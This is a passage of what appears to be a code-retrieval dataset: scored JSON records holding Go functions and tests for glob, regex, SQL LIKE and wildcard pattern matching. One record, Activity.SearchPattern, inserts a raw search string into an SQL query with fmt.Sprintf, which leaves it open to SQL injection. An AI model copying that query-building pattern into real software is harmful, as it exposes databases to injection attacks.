true},\n\t\t{\"**/**\", \"dir/file\", true},\n\t\t{\"**/**\", \"dir/file/\", true},\n\t\t{\"dir/**\", \"dir/file\", true},\n\t\t{\"dir/**\", \"dir/file/\", true},\n\t\t{\"dir/**\", \"dir/dir2/file\", true},\n\t\t{\"dir/**\", \"dir/dir2/file/\", true},\n\t\t{\"**/dir2/*\", \"dir/dir2/file\", true},\n\t\t{\"**/dir2/*\", \"dir/dir2/file/\", false},\n\t\t{\"**/dir2/**\", \"dir/dir2/dir3/file\", true},\n\t\t{\"**/dir2/**\", \"dir/dir2/dir3/file/\", true},\n\t\t{\"**file\", \"file\", true},\n\t\t{\"**file\", \"dir/file\", true},\n\t\t{\"**/file\", \"dir/file\", true},\n\t\t{\"**file\", \"dir/dir/file\", true},\n\t\t{\"**/file\", \"dir/dir/file\", true},\n\t\t{\"**/file*\", \"dir/dir/file\", true},\n\t\t{\"**/file*\", \"dir/dir/file.txt\", true},\n\t\t{\"**/file*txt\", \"dir/dir/file.txt\", true},\n\t\t{\"**/file*.txt\", \"dir/dir/file.txt\", true},\n\t\t{\"**/file*.txt*\", \"dir/dir/file.txt\", true},\n\t\t{\"**/**/*.txt\", \"dir/dir/file.txt\", true},\n\t\t{\"**/**/*.txt2\", \"dir/dir/file.txt\", false},\n\t\t{\"**/*.txt\", \"file.txt\", true},\n\t\t{\"**/**/*.txt\", \"file.txt\", true},\n\t\t{\"a**/*.txt\", \"a/file.txt\", true},\n\t\t{\"a**/*.txt\", \"a/dir/file.txt\", true},\n\t\t{\"a**/*.txt\", \"a/dir/dir/file.txt\", true},\n\t\t{\"a/*.txt\", \"a/dir/file.txt\", false},\n\t\t{\"a/*.txt\", \"a/file.txt\", true},\n\t\t{\"a/*.txt**\", \"a/file.txt\", true},\n\t\t{\"a[b-d]e\", \"ae\", false},\n\t\t{\"a[b-d]e\", \"ace\", true},\n\t\t{\"a[b-d]e\", \"aae\", false},\n\t\t{\"a[^b-d]e\", \"aze\", true},\n\t\t{\".*\", \".foo\", true},\n\t\t{\".*\", \"foo\", false},\n\t\t{\"abc.def\", \"abcdef\", false},\n\t\t{\"abc.def\", \"abc.def\", true},\n\t\t{\"abc.def\", \"abcZdef\", false},\n\t\t{\"abc?def\", \"abcZdef\", true},\n\t\t{\"abc?def\", \"abcdef\", false},\n\t\t{\"a\\\\*b\", \"a*b\", true},\n\t\t{\"a\\\\\", \"a\", false},\n\t\t{\"a\\\\\", \"a\\\\\", false},\n\t\t{\"a\\\\\\\\\", \"a\\\\\", true},\n\t\t{\"**/foo/bar\", \"foo/bar\", true},\n\t\t{\"**/foo/bar\", \"dir/foo/bar\", true},\n\t\t{\"**/foo/bar\", \"dir/dir2/foo/bar\", true},\n\t\t{\"abc/**\", \"abc\", false},\n\t\t{\"abc/**\", \"abc/def\", true},\n\t\t{\"abc/**\", \"abc/def/ghi\", true},\n\t}\n\n\tfor _, test := range tests {\n\t\tres, _ := regexpMatch(test.pattern, test.text)\n\t\tif res != test.pass {\n\t\t\tt.Fatalf(\"Failed: %v - res:%v\", test, res)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "342878f973ac9d11cd0d26a3a35132cf", "score": "0.45869714", "text": "func (k likeKey) Pattern() (string, error) {\n\t// QuoteMeta escapes all regexp metacharacters (`\\.+*?()|[]{}^$`) with a `\\`.\n\tpattern := regexp.QuoteMeta(k.s)\n\tvar err error\n\tif k.escape == 0 {\n\t\t// Replace all LIKE/ILIKE specific wildcards with standard wildcards\n\t\t// (escape character is empty - escape mechanism is turned off - so\n\t\t// all '%' and '_' are actual wildcards regardless of what precedes them.\n\t\tpattern = strings.Replace(pattern, `%`, `.*`, -1)\n\t\tpattern = strings.Replace(pattern, `_`, `.`, -1)\n\t} else if k.escape == '\\\\' {\n\t\t// Replace LIKE/ILIKE specific wildcards with standard wildcards only when\n\t\t// these wildcards are not escaped by '\\\\' (equivalent of '\\' after QuoteMeta).\n\t\tpattern = replaceUnescaped(pattern, `%`, `.*`, `\\\\`)\n\t\tpattern = replaceUnescaped(pattern, `_`, `.`, `\\\\`)\n\t} else {\n\t\t// k.escape is non-empty and not `\\`.\n\t\t// If `%` is escape character, then it's not a wildcard.\n\t\tif k.escape != '%' {\n\t\t\t// Replace LIKE/ILIKE specific wildcards '%' only if it's unescaped.\n\t\t\tif k.escape == '.' {\n\t\t\t\t// '.' is the escape character, so for correct processing later by\n\t\t\t\t// replaceCustomEscape we need to escape it by itself.\n\t\t\t\tpattern = replaceUnescaped(pattern, `%`, `..*`, regexp.QuoteMeta(string(k.escape)))\n\t\t\t} else if k.escape == '*' {\n\t\t\t\t// '*' is the escape character, so for correct processing later by\n\t\t\t\t// replaceCustomEscape we need to escape it by itself.\n\t\t\t\tpattern = replaceUnescaped(pattern, `%`, `.**`, regexp.QuoteMeta(string(k.escape)))\n\t\t\t} else {\n\t\t\t\tpattern = replaceUnescaped(pattern, `%`, `.*`, regexp.QuoteMeta(string(k.escape)))\n\t\t\t}\n\t\t}\n\t\t// If `_` is escape character, then it's not a wildcard.\n\t\tif k.escape != '_' {\n\t\t\t// Replace LIKE/ILIKE specific wildcards '_' only if it's unescaped.\n\t\t\tif k.escape == '.' {\n\t\t\t\t// '.' is the escape character, so for correct processing later by\n\t\t\t\t// replaceCustomEscape we need to escape it by itself.\n\t\t\t\tpattern = replaceUnescaped(pattern, `_`, `..`, regexp.QuoteMeta(string(k.escape)))\n\t\t\t} else {\n\t\t\t\tpattern = replaceUnescaped(pattern, `_`, `.`, regexp.QuoteMeta(string(k.escape)))\n\t\t\t}\n\t\t}\n\n\t\t// If a sequence of symbols ` escape+`\\\\` ` is unescaped, then that escape\n\t\t// character escapes backslash in the original pattern (we need to use double\n\t\t// backslash because of QuoteMeta behavior), so we want to \"consume\" the escape character.\n\t\tpattern = replaceUnescaped(pattern, string(k.escape)+`\\\\`, `\\\\`, regexp.QuoteMeta(string(k.escape)))\n\n\t\t// We want to replace all escape characters with `\\\\` only\n\t\t// when they are unescaped. When an escape character is escaped,\n\t\t// we replace it with its single occurrence.\n\t\tif pattern, err = replaceCustomEscape(pattern, k.escape); err != nil {\n\t\t\treturn pattern, err\n\t\t}\n\t}\n\n\t// After QuoteMeta, all '\\' were converted to '\\\\'.\n\t// After replaceCustomEscape, our custom unescaped escape characters were converted to `\\\\`,\n\t// so now our pattern contains only '\\\\' as escape tokens.\n\t// We need to unescape escaped escape tokens `\\\\` (now `\\\\\\\\`) and\n\t// other escaped characters `\\A` (now `\\\\A`).\n\tif k.escape != 0 {\n\t\t// We do not want to return an error when pattern ends with the supposed escape character `\\`\n\t\t// whereas the actual escape character is not `\\`. The case when the pattern ends with\n\t\t// an actual escape character is handled in replaceCustomEscape. For example, with '-' as\n\t\t// the escape character on pattern 'abc\\\\' we do not want to return an error 'pattern ends\n\t\t// with escape character' because '\\\\' is not an escape character in this case.\n\t\tif pattern, err = unescapePattern(\n\t\t\tpattern,\n\t\t\t`\\\\`,\n\t\t\tk.escape == '\\\\', /* emitEscapeCharacterLastError */\n\t\t); err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t}\n\n\treturn anchorPattern(pattern, k.caseInsensitive), nil\n}", "title": "" }, { "docid": "1bffaf9d120515fdf1eb7534ce838245", "score": "0.45758653", "text": "func PatternMatch(p Pattern, typ Type, venv VarEnv, tenv TypeEnv, gas uint64) (Pattern, VarEnv, bool, uint64) {\n\tif int64(gas)-1000 < 0 {\n\t\tpanic(\"ran out of gas!\")\n\t}\n\tgas = gas - 1000\n\tvenv_ := venv\n\ttyp, gas = translateType(typ, tenv, gas)\n\tswitch typ.Type() {\n\tcase TUPLE:\n\t\ttyp := typ.(TupleType)\n\t\tif len(p.Params) == 1 {\n\t\t\tpar, ok, gas := checkParamTypeAnno(p.Params[0], typ, tenv, gas)\n\t\t\tif !ok {\n\t\t\t\treturn p, venv, false, gas\n\t\t\t}\n\t\t\treturn Pattern{[]Param{par}}, venv_.Set(p.Params[0].Id, typ), true, gas\n\t\t}\n\t\tif len(p.Params) != len(typ.Typs) {\n\t\t\treturn p, venv, false, gas\n\t\t}\n\t\tpars := make([]Param, 0)\n\t\tfor i, v := range p.Params {\n\t\t\tpar, ok, gas_ := checkParamTypeAnno(v, typ.Typs[i], tenv, gas)\n\t\t\tgas = gas_\n\t\t\tif !ok {\n\t\t\t\treturn p, venv, false, gas\n\t\t\t}\n\t\t\tvenv_ = venv_.Set(v.Id, typ.Typs[i])\n\t\t\tpars = append(pars, par)\n\t\t}\n\t\treturn Pattern{pars}, venv_, true, gas\n\tdefault:\n\t\tif len(p.Params) != 1 {\n\t\t\treturn p, venv, false, gas\n\t\t}\n\t\tpar, ok, gas := checkParamTypeAnno(p.Params[0], typ, tenv, gas)\n\t\tif !ok {\n\t\t\treturn p, venv, false, gas\n\t\t}\n\t\treturn Pattern{[]Param{par}}, venv_.Set(p.Params[0].Id, typ), true, gas\n\t}\n}", "title": "" }, { "docid": "6d94a94c1d077bbca7c2b9c86db67cba", "score": "0.4565946", "text": "func (p *Pattern) Match(s string) bool {\r\n\treturn p.glob.Match(s)\r\n}", "title": "" }, { "docid": "7d773a8d5faac0f4a934bc105a0714b8", "score": "0.45637774", "text": "func areEqualWithWildcards(s, pattern string) bool {\n\tpv, sv := strings.Split(pattern, \" \"), strings.Split(s, \" \")\n\tif len(pv) != len(sv) {\n\t\treturn false\n\t}\n\tfor i, v := range pv {\n\t\tif v == wildcardStr {\n\t\t\tcontinue\n\t\t}\n\t\tif pv[i] != sv[i] {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn true\n}", "title": "" }, { "docid": "cac7cd2e9c681280caf8671767b97408", "score": "0.45611265", "text": "func TestNewRegexp(t *testing.T) {\n\tvar p *routeRegexp\n\tvar matches []string\n\n\ttests := map[string]map[string][]string{\n\t\t\"/{foo:a{2}}\": {\n\t\t\t\"/a\": nil,\n\t\t\t\"/aa\": {\"aa\"},\n\t\t\t\"/aaa\": nil,\n\t\t\t\"/aaaa\": nil,\n\t\t},\n\t\t\"/{foo:a{2,}}\": {\n\t\t\t\"/a\": nil,\n\t\t\t\"/aa\": {\"aa\"},\n\t\t\t\"/aaa\": {\"aaa\"},\n\t\t\t\"/aaaa\": {\"aaaa\"},\n\t\t},\n\t\t\"/{foo:a{2,3}}\": {\n\t\t\t\"/a\": nil,\n\t\t\t\"/aa\": {\"aa\"},\n\t\t\t\"/aaa\": {\"aaa\"},\n\t\t\t\"/aaaa\": nil,\n\t\t},\n\t\t\"/{foo:[a-z]{3}}/{bar:[a-z]{2}}\": {\n\t\t\t\"/a\": nil,\n\t\t\t\"/ab\": nil,\n\t\t\t\"/abc\": nil,\n\t\t\t\"/abcd\": nil,\n\t\t\t\"/abc/ab\": {\"abc\", \"ab\"},\n\t\t\t\"/abc/abc\": nil,\n\t\t\t\"/abcd/ab\": nil,\n\t\t},\n\t\t`/{foo:\\w{3,}}/{bar:\\d{2,}}`: {\n\t\t\t\"/a\": nil,\n\t\t\t\"/ab\": nil,\n\t\t\t\"/abc\": nil,\n\t\t\t\"/abc/1\": nil,\n\t\t\t\"/abc/12\": {\"abc\", \"12\"},\n\t\t\t\"/abcd/12\": {\"abcd\", \"12\"},\n\t\t\t\"/abcd/123\": {\"abcd\", \"123\"},\n\t\t},\n\t}\n\n\tfor pattern, paths := range tests {\n\t\tp, _ = newRouteRegexp(pattern, regexpTypePath, routeRegexpOptions{})\n\t\tfor path, result := range paths {\n\t\t\tmatches = p.regexp.FindStringSubmatch(path)\n\t\t\tif result == nil {\n\t\t\t\tif matches != nil {\n\t\t\t\t\tt.Errorf(\"%v should not match %v.\", pattern, path)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif len(matches) != len(result)+1 {\n\t\t\t\t\tt.Errorf(\"Expected %v matches, got %v.\", len(result)+1, len(matches))\n\t\t\t\t} else {\n\t\t\t\t\tfor k, v := range result {\n\t\t\t\t\t\tif matches[k+1] != v {\n\t\t\t\t\t\t\tt.Errorf(\"Expected %v, got %v.\", v, matches[k+1])\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "efb4522e71e2ca5848362cbac3cc8a1b", "score": "0.45570096", "text": "func Match(t *testing.T, value string, regex interface{}) {\n\tMatchSkip(t, 2, value, regex)\n}", "title": "" }, { "docid": "0dc50c193d23ae792eda292a804e6328", "score": "0.45532265", "text": "func TestPCRENamedCaptures(t *testing.T) {\n\tg := New()\n\tdefer g.Free()\n\n\tg.AddPatternsFromFile(\"../patterns/base\")\n\ttext := \"message - Tue November 2000 ALLCAPSHOST 12345\"\n\tpattern := \"(?P<word>[a-z]*) - %{DAY} %{MONTH} (?P<year>[0-9]*) (?P<host>[A-Z]*) %{BASE10NUM}\"\n\tg.Compile(pattern, false)\n\tmatch := g.Match(text)\n\tif match == nil {\n\t\tt.Fatal(\"Unable to find match!\")\n\t}\n\n\tcaptures := match.Captures()\n\n\tif host := captures[\":word\"][0]; host != \"message\" {\n\t\tt.Fatal(\"word should be 'message'\")\n\t}\n\tif len(captures[\"DAY\"]) != 1 {\n\t\tt.Fatal(\"Expected one group named DAY\")\n\t}\n\tif path := captures[\"DAY\"][0]; path != \"Tue\" {\n\t\tt.Fatal(\"DAY should be 'Tue'\")\n\t}\n\tif len(captures[\"MONTH\"]) != 1 {\n\t\tt.Fatal(\"Expected one group named MONTH\")\n\t}\n\tif month := captures[\"MONTH\"][0]; month != \"November\" {\n\t\tt.Fatal(\"month should be 'November'\")\n\t}\n\tif len(captures[\":year\"]) != 1 {\n\t\tt.Fatal(\"Expected one group named year\")\n\t}\n\tif year := captures[\":year\"][0]; year != \"2000\" {\n\t\tt.Fatal(\"year should be '2000'\")\n\t}\n\tif len(captures[\":host\"]) != 1 {\n\t\tt.Fatal(\"Expected one group named host\")\n\t}\n\tif host := captures[\":host\"][0]; host != \"ALLCAPSHOST\" {\n\t\tt.Fatal(\"host should be 'ALLCAPSHOST'\")\n\t}\n\tif len(captures[\"BASE10NUM\"]) != 1 {\n\t\tt.Fatal(\"Expected one group named BASE10NUM\")\n\t}\n\tif num := captures[\"BASE10NUM\"][0]; num != \"12345\" {\n\t\tt.Fatal(\"BASE10NUM should be '12345'\")\n\t}\n}", "title": "" }, { "docid": "31f1475959055c514aff64ca1bccc959", "score": "0.45519274", "text": "func (p Provider) Match(query string) (params []string) {\n\tif strings.HasPrefix(query, \"git|\") || strings.HasSuffix(query, \".git\") {\n\t\tparams = append(params, strings.TrimPrefix(query, \"git|\"))\n\t}\n\treturn\n}", "title": "" }, { "docid": "7b6bbd4d9fbc55b80e8d5346ae814120", "score": "0.4551107", "text": "func FindByPattern(patternMap P, src string) (int, error) {\n tmpItems, err := findHeads(src, patternMap)\n if err != nil {\n return 0, err\n }\n if len(tmpItems) < 1 {\n return 0, nil\n }\n\n found := matchFull(tmpItems, patternMap, src)\n\n return found, nil\n}", "title": "" }, { "docid": "6dd421d988c360641290055ec571b42f", "score": "0.45356452", "text": "func (rm *routeMatcher) findWildcardVirtualHost(host string) int {\n\t// e.g. foo-bar.baz.com will match *-bar.baz.com\n\t// foo-bar.baz.com should match *-bar.baz.com before matching *.baz.com\n\tfor _, wildcardLen := range rm.greaterSortedWildcardVirtualHostSuffixes {\n\t\tif wildcardLen >= len(host) {\n\t\t\tcontinue\n\t\t}\n\t\twildcardMap := rm.wildcardVirtualHostSuffixesIndex[wildcardLen]\n\t\tfor domain, index := range wildcardMap {\n\t\t\tif domain == host[len(host)-wildcardLen:] {\n\t\t\t\treturn index\n\t\t\t}\n\t\t}\n\t}\n\treturn -1\n}", "title": "" }, { "docid": "5fefb91c24ca9ffbd0ac6d2a9f56c14a", "score": "0.45327017", "text": "func (v Version) Matches(other string) bool {\n\tp1 := strings.Split(string(v), \".\")\n\tp2 := strings.Split(other, \".\")\n\n\tvar majorVersion1 string\n\tminorVersion1 := \"0\"\n\n\tvar majorVersion2 string\n\tminorVersion2 := \"0\"\n\n\tif len(p1) > 0 {\n\t\tmajorVersion1 = p1[0]\n\t}\n\tif len(p1) > 1 {\n\t\tminorVersion1 = p1[1]\n\t}\n\tif len(p2) > 0 {\n\t\tmajorVersion2 = p2[0]\n\t}\n\tif len(p2) > 1 {\n\t\tminorVersion2 = p2[1]\n\t}\n\n\treturn majorVersion1 == majorVersion2 && minorVersion1 == minorVersion2\n}", "title": "" }, { "docid": "28aacda15b16b508444aa9831e06050b", "score": "0.45260662", "text": "func rgx(pattern string) *regexp.Regexp {\n return regexp.MustCompile(pattern)\n}", "title": "" }, { "docid": "54c6cb5945ef44df1677a4b85f35782d", "score": "0.45228332", "text": "func Pattern(req *http.Request) string {\n\tif p := parameterized(req); p != nil {\n\t\treturn p.pattern\n\t}\n\treturn \"\"\n}", "title": "" }, { "docid": "2760c787b27f9ebe831ed14dddbd7349", "score": "0.4518181", "text": "func (p *Activity) SearchPattern(str string) string {\n\tvar pattern = `(activities.event LIKE '%%%[1]v%%' OR\n\t\tactivities.username LIKE '%[1]v' OR\n\t\tactivities.id LIKE '%[1]v' OR\n\t\tactivities.created_at LIKE '%[1]v%%' OR\n\t\tactivities.data LIKE '%%%[1]v%%' OR\n\t\tactivities.ip LIKE '%[1]v')`\n\treturn fmt.Sprintf(pattern, str)\n}", "title": "" }, { "docid": "3bd45cbdff5882e8fab45e1636ecab2a", "score": "0.45099682", "text": "func TestNoMatchAtStart(t *testing.T) {\n\tpattern := \"foo\"\n\tglob, err := Compile(pattern, &Options{\n\t\tSeparator: DefaultOptions.Separator,\n\t\tMatchAtStart: false,\n\t\tMatchAtEnd: DefaultOptions.MatchAtEnd,\n\t})\n\tassert.NoError(t, err)\n\n\t// Test without a prefix still works\n\tmatch := \"foo\"\n\tassert.True(t, glob.MatchString(match), \"%s should match %s\", pattern, match)\n\n\t// Test with a prefix still works\n\tmatch = \"bar/baz/foo\"\n\tassert.True(t, glob.MatchString(match), \"%s should match %s\", pattern, match)\n\n\t// Test that a prefix and a suffix does not\n\tmatch = \"bar/baz/foo/boop\"\n\tassert.False(t, glob.MatchString(match), \"%s should not match %s\", pattern, match)\n}", "title": "" }, { "docid": "de71053ad417f279b3772b3daf93ab7e", "score": "0.45082945", "text": "func PatternMatchAllBU(s, p string) bool {\n\n\tslen := len(s)\n\tplen := len(p)\n\tif plen == 0 {\n\t\treturn slen == 0\n\t}\n\n\tmemo := make([][]*bool, slen)\n\tfor i := 0; i < slen; i++ {\n\t\tmemo[i] = make([]*bool, plen)\n\t}\n\n\tvar subProbFunc func(i, j int) bool\n\tsubProbFunc = func(i, j int) bool {\n\t\tif i < 0 && j < 0 {\n\t\t\treturn true\n\t\t}\n\t\tif j < 0 {\n\t\t\treturn false\n\t\t}\n\t\tif i < 0 {\n\t\t\t// 看p能否匹配空\n\t\t\tif p[j] != '*' {\n\t\t\t\treturn false\n\t\t\t}\n\t\t\tif j == 0 {\n\t\t\t\treturn false\n\t\t\t}\n\t\t\treturn subProbFunc(i, j-2)\n\t\t}\n\n\t\t// 如果已计算,直接返回结果\n\t\tif memo[i][j] != nil {\n\t\t\treturn *memo[i][j]\n\t\t}\n\n\t\tmatch := s[i] == p[j] || p[j] == '.'\n\t\tif j == 0 {\n\t\t\tresult := match && i == 0\n\t\t\tmemo[i][j] = &result\n\t\t\treturn result\n\t\t}\n\n\t\tif p[j] == '*' {\n\t\t\tresult := subProbFunc(i, j-2) || /*匹配0次*/\n\t\t\t\t((p[j-1] == s[i] || p[j-1] == '.') &&\n\t\t\t\t\t(subProbFunc(i-1, j-2) || /*匹配1次*/\n\t\t\t\t\t\tsubProbFunc(i-1, j))) /*匹配多次*/\n\t\t\tmemo[i][j] = &result\n\t\t\treturn result\n\t\t}\n\n\t\tresult := match && subProbFunc(i-1, j-1)\n\t\tmemo[i][j] = &result\n\t\treturn result\n\t}\n\n\treturn subProbFunc(slen-1, plen-1)\n}", "title": "" }, { "docid": "df2b97a7786db9e95996bc875b4ec525", "score": "0.45043135", "text": "func (f *Form) MatchesPattern(field string, pattern *regexp.Regexp) {\n\tvalue := f.Get(field)\n\tif value == \"\" {\n\t\treturn\n\t}\n\tif !pattern.MatchString(value) {\n\t\tf.Errors.Add(field, \"This field is invalid\")\n\t}\n}", "title": "" }, { "docid": "21b5302725964877caf4f967c5c03ba6", "score": "0.45041078", "text": "func prefixMatch(a string, pattern string) bool {\n\tif !strings.HasSuffix(pattern, \"*\") {\n\t\treturn false\n\t}\n\tpattern = strings.TrimSuffix(pattern, \"*\")\n\treturn strings.HasPrefix(a, pattern)\n}", "title": "" }, { "docid": "42579fe7c386a377bdb0c7325721c05a", "score": "0.45032734", "text": "func (p Pattern) Matches(s string) bool {\n\tpi := 0\n\tsi := 0\n\tpl := len(p)\n\tsl := len(s)\n\tfor pi < pl {\n\t\tif si == sl {\n\t\t\treturn false\n\t\t}\n\t\tc := p[pi]\n\t\tpi++\n\t\tswitch c {\n\t\tcase '$':\n\t\t\tfallthrough\n\t\tcase '*':\n\t\t\tfor pi < pl && p[pi] != '.' {\n\t\t\t\tpi++\n\t\t\t}\n\t\t\tif s[si] == '>' {\n\t\t\t\treturn false\n\t\t\t}\n\t\t\tfor si < sl && s[si] != '.' {\n\t\t\t\tsi++\n\t\t\t}\n\t\tcase '>':\n\t\t\treturn pi == pl\n\t\tdefault:\n\t\t\tif c != s[si] {\n\t\t\t\treturn false\n\t\t\t}\n\t\t\tsi++\n\t\t}\n\t}\n\treturn si == sl\n}", "title": "" }, { "docid": "9495885b21487e7ee107e6267414e30a", "score": "0.4501685", "text": "func MatchLikeEscape(\n\tctx *EvalContext, unescaped, pattern, escape string, caseInsensitive bool,\n) (Datum, error) {\n\tvar escapeRune rune\n\tif len(escape) > 0 {\n\t\tvar width int\n\t\tescapeRune, width = utf8.DecodeRuneInString(escape)\n\t\tif len(escape) > width {\n\t\t\treturn DBoolFalse, pgerror.Newf(pgcode.InvalidEscapeSequence, \"invalid escape string\")\n\t\t}\n\t}\n\n\tif len(unescaped) == 0 {\n\t\t// An empty string only matches with an empty pattern or a pattern\n\t\t// consisting only of '%' (if this wildcard is not used as a custom escape\n\t\t// character). To match PostgreSQL's behavior, we have a special handling\n\t\t// of this case.\n\t\tfor _, c := range pattern {\n\t\t\tif c != '%' || (c == '%' && escape == `%`) {\n\t\t\t\treturn DBoolFalse, nil\n\t\t\t}\n\t\t}\n\t\treturn DBoolTrue, nil\n\t}\n\n\tlike, err := optimizedLikeFunc(pattern, caseInsensitive, escapeRune)\n\tif err != nil {\n\t\treturn DBoolFalse, pgerror.Newf(\n\t\t\tpgcode.InvalidRegularExpression, \"LIKE regexp compilation failed: %v\", err)\n\t}\n\n\tif like == nil {\n\t\tre, err := ConvertLikeToRegexp(ctx, pattern, caseInsensitive, escapeRune)\n\t\tif err != nil {\n\t\t\treturn DBoolFalse, err\n\t\t}\n\t\tlike = func(s string) (bool, error) {\n\t\t\treturn re.MatchString(s), nil\n\t\t}\n\t}\n\tmatches, err := like(unescaped)\n\treturn MakeDBool(DBool(matches)), err\n}", "title": "" }, { "docid": "7935157d408382ca8c699bddeab0f960", "score": "0.45000058", "text": "func (form *Form) MatchesPattern(field string, pattern *regexp.Regexp) {\n\tvalue := form.Get(field)\n\tif value == \"\" {\n\t\treturn\n\t}\n\n\tif !pattern.MatchString(value) {\n\t\tform.Errors.Add(field, \"This field is invalid\")\n\t}\n}", "title": "" }, { "docid": "43ce2b59ee8ba127f810db804a615d6e", "score": "0.44996983", "text": "func (r *Route) matchRegex(path string) (ps Params, ok bool) {\n\t// regex match\n\tss := r.regex.FindAllStringSubmatch(path, -1)\n\tif len(ss) == 0 {\n\t\treturn\n\t}\n\n\tok = true\n\tvs := ss[0]\n\tps = make(Params, len(vs))\n\n\t// Notice: vs[0] is full path.\n\tfor i, val := range vs[1:] {\n\t\t// n := r.matches[i]\n\t\tps[r.matches[i]] = val\n\t}\n\treturn\n}", "title": "" }, { "docid": "ea26a85c32cf82806e2994b921802c00", "score": "0.4493115", "text": "func (e *excludeBuilder) Pattern(pattern string) {\n\tif pattern == \"\" {\n\t\treturn\n\t}\n\n\tre, err := regexp.Compile(pattern)\n\tif err != nil {\n\t\te.err = err\n\t\treturn\n\t}\n\te.patterns = append(e.patterns, re)\n}", "title": "" }, { "docid": "678e10a5bcc501d72e0e73b200a5dd66", "score": "0.44847515", "text": "func (f *Form) MatchesPattern(field string, pattern *regexp.Regexp) {\n\tvalue := f.Get(field)\n\tif value == \"\" {\n\t\treturn\n\t}\n\tif !pattern.MatchString(value) {\n\t\tf.FormErrors.Add(field, \"This field is invalid\")\n\t}\n}", "title": "" }, { "docid": "0015832ae8d9507be864f4af6297809e", "score": "0.44705665", "text": "func whereLabelValueMatches(containers Context, label, pattern string) (Context, error) {\n\trx, err := regexp.Compile(pattern)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn generalizedWhereLabel(\"whereLabelValueMatches\", containers, label, func(value string, ok bool) bool {\n\t\treturn ok && rx.MatchString(value)\n\t})\n}", "title": "" }, { "docid": "fca1c660800bae4f84a13645089c4ca4", "score": "0.4468803", "text": "func PathMatch(pattern PathPattern, path string) (bool, error) {\n\texpr := \"^\"\n\n\tif _, err := filepath.Match(string(pattern), path); err != nil {\n\t\treturn false, trace.Wrap(err)\n\t}\n\n\tvar scan scanner.Scanner\n\tscan.Init(strings.NewReader(string(pattern)))\n\n\tsep := string(os.PathSeparator)\n\tescapedSep := sep\n\tif sep == `\\` {\n\t\tescapedSep += `\\`\n\t}\n\n\tfor scan.Peek() != scanner.EOF {\n\t\tch := scan.Next()\n\n\t\tswitch ch {\n\t\tcase '*':\n\t\t\tif scan.Peek() == '*' {\n\t\t\t\t// is some flavor of \"**\"\n\t\t\t\tscan.Next()\n\n\t\t\t\tif scan.Peek() == scanner.EOF {\n\t\t\t\t\t// \"**EOF\" - accept all\n\t\t\t\t\texpr += \".*\"\n\t\t\t\t} else {\n\t\t\t\t\t// \"**\"\n\t\t\t\t\texpr += \"((.*\" + escapedSep + \")|([^\" + escapedSep + \"]*))\"\n\t\t\t\t}\n\n\t\t\t\t// treat **/ as ** so eat the \"/\"\n\t\t\t\tif string(scan.Peek()) == sep {\n\t\t\t\t\tscan.Next()\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// is \"*\" so map it to anything but path separator\n\t\t\t\texpr += \"[^\" + escapedSep + \"]*\"\n\t\t\t}\n\t\tcase '?':\n\t\t\t// \"?\" is any char except a path separator\n\t\t\texpr += \"[^\" + escapedSep + \"]\"\n\t\tcase '.', '$':\n\t\t\t// escape some regexp special chars that have no meaning\n\t\t\t// in filename match\n\t\t\texpr += `\\` + string(ch)\n\t\tcase '\\\\':\n\t\t\t// escape next char. Note that a trailing \\ in the pattern\n\t\t\t// will be left alone but needs to be escaped\n\t\t\tif scan.Peek() != scanner.EOF {\n\t\t\t\texpr += `\\` + string(scan.Next())\n\t\t\t} else {\n\t\t\t\texpr += `\\`\n\t\t\t}\n\t\tdefault:\n\t\t\texpr += string(ch)\n\t\t}\n\t}\n\n\texpr += \"$\"\n\tmatches, err := regexp.MatchString(expr, path)\n\n\treturn matches, trace.Wrap(err)\n}", "title": "" }, { "docid": "fbd3a7423787d7d05f6ff10ce857bb31", "score": "0.44675606", "text": "func (pod Pod) Like(pattern string) bool {\n\treturn strings.Contains(pod.String(), pattern)\n}", "title": "" }, { "docid": "9851030e49d693ce897a62577a50b3b3", "score": "0.44675064", "text": "func (this Path) MatchLimited(that Path) (bool, string) {\n\tif len(this.segments) <= len(that.segments) {\n\t\treturn false, \"\"\n\t}\n\tfor i := 0; i < len(that.segments); i++ {\n\t\tr, err := regexp.Compile(\"^\" + this.segments[i] + \"$\")\n\t\tif err != nil {\n\t\t\tpanic(fmt.Errorf(\"Path segment is not a regexp %s in %s\", this.segments[i], this.segments))\n\t\t}\n\t\tif !r.Match([]byte(that.segments[i])) {\n\t\t\treturn false, \"\"\n\t\t}\n\t}\n\treturn true, this.Segment(that.Length())\n}", "title": "" }, { "docid": "33430e9411c9ab8fa941e654a715cb44", "score": "0.4467293", "text": "func isMatchDP(s string, p string) bool {\n\tls := len(s) + 1\n\tlp := len(p) + 1\n\tmatches := make([][]bool, ls)\n\n\tfor i := 0; i < ls; i++ {\n\t\tmatches[i] = make([]bool, lp)\n\t}\n\n\tmatches[0][0] = true\n\n\tfor y := 1; y < lp; y++ {\n\t\tif p[y-1] == '*' {\n\t\t\tmatches[0][y] = matches[0][y-2]\n\t\t}\n\t}\n\n\tfor x := 1; x < ls; x++ {\n\t\tc := s[x-1]\n\t\tfor y := 1; y < lp; y++ {\n\t\t\tt := p[y-1]\n\t\t\tvar tPrev byte\n\t\t\tif y > 1 {\n\t\t\t\ttPrev = p[y-2]\n\t\t\t}\n\n\t\t\tif t == '.' || t == c {\n\t\t\t\t// take prev match\n\t\t\t\tmatches[x][y] = matches[x-1][y-1]\n\t\t\t} else if t == '*' {\n\t\t\t\tmatches[x][y] = matches[x][y-2]\n\n\t\t\t\tif tPrev == '.' || tPrev == c {\n\t\t\t\t\tmatches[x][y] = matches[x][y] || matches[x-1][y]\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn matches[ls-1][lp-1]\n}", "title": "" }, { "docid": "475e6446f654cfca2d25a78c30500e3e", "score": "0.44543055", "text": "func parsePercentage(v string) (int64, error) {\n\tif !strings.HasSuffix(v, \"%\") {\n\t\treturn 0, fmt.Errorf(\"percentage expected, got '%s'\", v)\n\t}\n\tpercentage, err := strconv.ParseInt(strings.TrimRight(v, \"%\"), 10, 0)\n\tif err != nil {\n\t\treturn 0, fmt.Errorf(\"invalid number in percentage '%s'\", 